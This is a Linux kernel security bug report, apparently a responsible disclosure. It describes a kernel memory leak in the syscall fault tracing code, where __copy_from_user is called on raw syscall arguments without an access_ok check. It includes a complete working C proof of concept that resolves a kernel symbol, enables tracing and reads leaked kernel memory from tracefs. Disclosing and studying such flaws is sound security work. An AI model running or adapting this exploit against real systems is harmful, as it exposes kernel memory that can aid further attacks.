[BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing

[Haoran Wang <haoranwangsec@gmail.com>]

I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function
syscall_copy_user_array), found via static analysis of Linux 7.0.11 and
verified against the 7.2.10 source tree. I have reproduced the leak on an
7.2.10 kernel.

1. Summary
The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS)
treats the raw syscall argument args[1] (the buffer pointer) of faultable
syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it
with __copy_from_user(buf, args[1], size) without an access_ok() check.
When a traced process calls write(fd, <kernel address>, count), the
sys_enter tracepoint fires before vfs_write's access_ok and
__copy_from_user copies up to 165 bytes from that kernel address into the
per-CPU trace buffer, which is appended to the sys_enter_write event and
readable from /sys/kernel/tracing/trace. The write() itself then returns
EFAULT, but the leak is already complete. copy_from_user() would have
rejected a kernel address via access_ok(); __copy_from_user() does not.

2. Vulnerable code
- File: kernel/trace/trace_syscalls.c:686 (Linux 7.0.11; :685 in 7.2.10)
- Function: syscall_copy_user_array
- Misused API: __copy_from_user

```c
/* syscall_copy_user_array() - syscall fault tracing */
__copy_from_user(buf, ptr, size);   /* ptr = args[1] (raw syscall buffer arg), no access_ok() */
```

3. Root cause
__copy_from_user() is the access_ok()-skipping variant of
copy_from_user(). The syscall fault tracing feature marks
write/pwrite64/mq_timedsend as faultable: check_faultable_syscall() sets
user_mask = BIT(1) (the buffer argument) and user_arg_size = 2 (the count
argument). When such a syscall is ftrace-traced, sys_fault_user() takes
the syscall's *raw* argument args[1] (the buffer-pointer register value)
as a user address and, via syscall_copy_user_array(), calls
__copy_from_user(buf, args[1], size) with no access_ok(). Because args[1]
is the raw register value captured at the sys_enter tracepoint (before
vfs_write performs its own access_ok on the buffer), a traced process can
supply a kernel address there; __copy_from_user dereferences it directly
and copies up to SYSCALL_FAULT_USER_MAX (165) bytes of kernel memory into
the per-CPU trace buffer. The content appears in the sys_enter_write trace
event and is readable from /sys/kernel/tracing/trace. The actual write()
then fails with EFAULT (vfs_write's access_ok rejects the kernel address),
but the leak has already happened in the tracepoint.

This differs from the trace.c:6836 site (tracing_mark_write), where the
VFS layer's access_ok (vfs_write at fs/read_write.c:676) guards the buffer
before the ftrace .write handler runs. Here the leak happens at the
sys_enter tracepoint, which fires *before* vfs_write's access_ok, so there
is no upstream guard on args[1].

4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, unfixed -- reproduced on
an 7.2.10 kernel.

5. Trigger / Preconditions
root / CAP_SYS_ADMIN / CAP_PERFMON (needed to enable syscall tracing via
tracefs; on the test machine /proc/sys/kernel/perf_event_paranoid = 2 and
tracefs is root-writable), plus CONFIG_FTRACE_SYSCALLS. The traced process
calls write(fd, <kernel address>, count) while sys_enter_write tracing is
enabled.

6. Proof of Concept
Reproduced on a pristine Linux 7.2.10 kernel
(CONFIG_FTRACE_SYSCALLS=y, config-only). The traced process calls
write(devnull, linux_banner_addr, 200); the sys_enter_write trace event
then contains the leaked linux_banner string.

Concrete reproduced evidence (version 7.2.10):
- The sys_enter_write trace event contains the leaked linux_banner hex
  blob and ASCII string; decoding matches /proc/version.
- Decoded leaked content begins: "Linux version 7.2.10 (root@xxx) (gcc
  (Ubuntu 15.2.0-16ubuntu1) ...", which exactly matches /proc/version on
  the test kernel.
- write() itself returns EFAULT (vfs_write access_ok rejects the kernel
  address), but the kernel-memory copy into the trace buffer has already
  completed in the sys_enter tracepoint.
- KASAN does not catch it (__copy_from_user performs no __asan_loadN on
  the source).

```c
/*
 *
 * Build: gcc -O2 -o poc_syscall_fault_leak poc_syscall_fault_leak.c
 * Run:   sudo ./poc_syscall_fault_leak
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdint.h>

#define TRACEFS "/sys/kernel/tracing"
#define EVT     TRACEFS "/events/syscalls/sys_enter_write"

static int write_file(const char *path, const char *val)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0)
		return -1;
	if (write(fd, val, strlen(val)) < 0) {
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

static unsigned long lookup_sym(const char *sym)
{
	FILE *f = fopen("/proc/kallsyms", "r");
	if (!f)
		return 0;
	char line[256], name[128];
	unsigned long a;
	char t;
	while (fgets(line, sizeof(line), f))
		if (sscanf(line, "%lx %c %127s", &a, &t, name) == 3 && a && !strcmp(name, sym)) {
			fclose(f);
			return a;
		}
	fclose(f);
	return 0;
}

static char *read_file(const char *path, char *buf, size_t cap)
{
	int fd = open(path, O_RDONLY);
	if (fd < 0)
		return NULL;
	size_t total = 0;
	ssize_t n;
	while (total < cap - 1 && (n = read(fd, buf + total, cap - 1 - total)) > 0)
		total += n;
	buf[total] = 0;
	close(fd);
	return buf;
}

int main(void)
{
	if (getuid() != 0) {
		fprintf(stderr, "[-] must run as root (tracefs is root-only, perf_event_paranoid=2)\n");
		return 1;
	}

	unsigned long kaddr = lookup_sym("linux_banner");
	if (!kaddr) {
		fprintf(stderr, "[-] cannot resolve linux_banner from /proc/kallsyms\n");
		return 1;
	}
	printf("[+] target: linux_banner @ 0x%lx\n", kaddr);
	printf("[+]   (kernel string: \"Linux version 7.x (root@...) ...\")\n");
	printf("[+] vuln site: trace_syscalls.c:686 syscall_copy_user_array -> __copy_from_user (no access_ok)\n\n");

	int devnull = open("/dev/null", O_WRONLY);
	if (devnull < 0) {
		perror("open /dev/null");
		return 1;
	}

	if (access(EVT "/enable", W_OK) != 0) {
		fprintf(stderr, "[-] %s/enable not writable (%s)\n", EVT, strerror(errno));
		fprintf(stderr, "    -> CONFIG_FTRACE_SYSCALLS off, or tracefs not mounted\n");
		return 1;
	}

	write_file(TRACEFS "/trace", "\n");

	int pipefd[2];
	if (pipe(pipefd) < 0) {
		perror("pipe");
		return 1;
	}

	pid_t child = fork();
	if (child < 0) {
		perror("fork");
		return 1;
	}
	if (child == 0) {
		close(pipefd[1]);
		char c;
		read(pipefd[0], &c, 1);	/* wait until parent finished enabling */
		close(pipefd[0]);
		/*
		 * THE TRIGGER: write(fd, KERNEL_ADDR, 200).
		 * The buf argument is a kernel address. The sys_enter tracepoint
		 * fires before vfs_write's access_ok, and __copy_from_user copies
		 * directly from that kernel address -> kernel memory enters the trace.
		 * write() then returns EFAULT, but the leak is already complete.
		 */
		syscall(__NR_write, devnull, (void *)kaddr, 200);
		_exit(0);
	}
	close(pipefd[0]);

	char filter[64];
	snprintf(filter, sizeof(filter), "common_pid == %d", child);
	if (write_file(EVT "/filter", filter) < 0)
		fprintf(stderr, "[!] set filter failed: %s\n", strerror(errno));

	if (write_file(EVT "/enable", "1") < 0)
		fprintf(stderr, "[!] enable event failed: %s\n", strerror(errno));

	write(pipefd[1], "x", 1);
	close(pipefd[1]);
	waitpid(child, NULL, 0);

	write_file(EVT "/enable", "0");
	write_file(EVT "/filter", "0");

	char buf[65536];
	if (!read_file(TRACEFS "/trace", buf, sizeof(buf))) {
		fprintf(stderr, "[-] cannot read trace\n");
		return 1;
	}

	char *line = strstr(buf, "write(fd:");
	if (!line) {
		printf("[-] no sys_enter_write event captured.\n");
		printf("--- trace dump ---\n%s\n", buf);
		return 1;
	}
	char *eol = strchr(line, '\n');
	if (eol)
		*eol = 0;

	printf("[+] captured sys_enter_write event:\n    %s\n\n", line);

	if (strstr(line, "Linux version")) {
		printf("[!] ============================================================\n");
		printf("[!] KERNEL MEMORY LEAK CONFIRMED at trace_syscalls.c:686\n");
		printf("[!] trace event contains the kernel banner string,\n");
		printf("[!] read from 0x%lx via __copy_from_user() WITHOUT access_ok()\n", kaddr);
		printf("[!] ============================================================\n");
		return 0;
	}

	char *q1 = strchr(line, '"');
	if (q1) {
		char *q2 = strrchr(line, '"');
		if (q2 > q1) {
			printf("[!] leaked ASCII segment: \"%.*s\"\n", (int)(q2 - q1 - 1), q1 + 1);
			if (strstr(q1, "Linux") || strstr(q1, "version")) {
				printf("[!] KERNEL MEMORY LEAK CONFIRMED\n");
				return 0;
			}
		}
	}
	printf("[?] no recognizable kernel string - inspect the hex blob in the event line above.\n");
	return 2;
}
```

7. Impact
Kernel memory information leak: up to 165 bytes per faultable-syscall
invocation via __copy_from_user() with no access_ok(), readable from
/sys/kernel/tracing/trace. 

Please let me know if you need more detail.

Best regards,
Haoran Wang <haoranwangsec@gmail.com>